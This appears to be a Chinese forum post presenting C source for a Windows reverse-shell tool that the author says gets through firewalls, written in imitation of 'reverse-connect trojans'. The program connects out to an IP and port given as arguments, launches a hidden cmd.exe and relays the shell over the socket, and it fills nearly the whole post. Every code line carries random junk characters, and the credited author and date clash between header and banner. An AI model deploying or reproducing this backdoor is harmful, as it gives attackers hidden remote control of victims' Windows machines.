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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6fw2 ;$x"  
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/* ============================== v4X)R "jJ  
Rebound port in Windows NT C.?~D*Q  
By wind,2006/7 y3@5~4+  
===============================*/ 7toDk$jJRg  
#include '>#8 F.  
#include / yTPb  
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#pragma comment(lib,"wsock32.lib") {*K7P>&  
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void OutputShell(); Fz@9 @  
SOCKET sClient; }<=_&n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .%+y_.l  
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void main(int argc,char **argv) )EIT>u=  
{ =nE^zY2m%  
WSADATA stWsaData; `-w;/A"MJ  
int nRet; V5bB$tL}3  
SOCKADDR_IN stSaiClient,stSaiServer; S0!w]Ku  
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if(argc != 3) 6=g! Hs{  
{ @ 3,:G$,  
printf("Useage:\n\rRebound DestIP DestPort\n"); O#x=iZI  
return; zx;~sUR;  
} Mk!bmFZOZ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); L4or*C^3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p|Nh:4iN  
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stSaiClient.sin_family = AF_INET; "43F.!P  
stSaiClient.sin_port = htons(0); q0VR&b`?>D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )w,<XJhg`  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) { _~vf  
{ :r9<wbr)k0  
printf("Bind Socket Failed!\n"); 5+a5p C  
return; /n1L},67h  
} O9_SVXWVw  
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stSaiServer.sin_family = AF_INET; -.l.@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z8cefD9F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |G/W S0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -lm)xpp1  
{ "w3%BbIx  
printf("Connect Error!"); ^o4](l  
return; y+nX(@~f]  
} XvVi)`8!u  
OutputShell(); UHR%0ae  
} U< <XeSp  
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void OutputShell() ]Hg6Mz>Mj  
{ U'@ ![Fp  
char szBuff[1024]; c&C*'c-r  
SECURITY_ATTRIBUTES stSecurityAttributes; wU|jw(  
OSVERSIONINFO stOsversionInfo; -^q;e]+J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0X5b32  
STARTUPINFO stStartupInfo; f4$sH/ 2#v  
char *szShell; ZmmX_!M  
PROCESS_INFORMATION stProcessInformation; d .%2QkL  
unsigned long lBytesRead; J vq)%t8q>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nf1O8FwRb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vIf-TQw  
stSecurityAttributes.lpSecurityDescriptor = 0; AG><5 }  
stSecurityAttributes.bInheritHandle = TRUE; 6sG5 n7E-A  
5+yy:#J]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WtO@Kf:3GH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q]e]\J  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FC WF$'cO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 29cx(  
stStartupInfo.wShowWindow = SW_HIDE; W8F@nY  
stStartupInfo.hStdInput = hReadPipe; Xk\IO0GF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EP^qj j@M  
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GetVersionEx(&stOsversionInfo); 4U~'Oa @p  
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switch(stOsversionInfo.dwPlatformId) ;tQ(l%!  
{ "!CVm{7[  
case 1: U ({N'y=  
szShell = "command.com"; X&IT  s  
break; %a FZbLK  
default: B):ZX#  
szShell = "cmd.exe"; O(VWJ@EHn  
break; \;KSx3o  
} G|RBwl  
hQ(^;QcSu  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kR3wbA  
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send(sClient,szMsg,77,0); p3Ozfk  
while(1) 2vU-9p {  
{ m(o`;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w]nt_xj  
if(lBytesRead) x)Zb:"  
{ Hpa6; eT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _`gkYu3R+  
send(sClient,szBuff,lBytesRead,0); IaQm)"Z  
} <VSB!:ew  
else #Hz9@H  
{ 4_ypFuS^  
lBytesRead=recv(sClient,szBuff,1024,0); :y`LF <  
if(lBytesRead<=0) break; %hN(79:g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FPkk\[EU  
} ?iV}U  
} ,A $IFE  
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return; B9[vv;lzu  
}
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